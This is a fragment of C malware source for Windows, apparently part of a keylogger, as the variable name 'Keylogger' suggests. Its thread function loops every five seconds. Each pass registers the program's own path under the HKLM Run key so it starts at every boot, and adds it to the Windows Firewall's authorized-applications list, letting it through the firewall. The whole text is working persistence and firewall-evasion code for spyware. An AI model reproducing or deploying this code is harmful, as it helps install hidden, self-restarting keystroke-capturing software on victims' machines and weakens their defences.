char *Keylogger;

DWORD WINAPI AddRegistryKey(LPVOID lpVoid)
{
   HKEY RegistryKey;

   char FilePath[255];
   GetModuleFileName(0, FilePath, sizeof(FilePath));

   while(true)
   {
      if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE,
      KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS)
      {
         RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, strlen(FilePath) + 1);
          RegCloseKey(RegistryKey);
      }

      if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0,
      0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS )
      {
         RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, strlen(FilePath) + 1 );
         RegCloseKey(RegistryKey);
      }

      Sleep(5000);
   }
}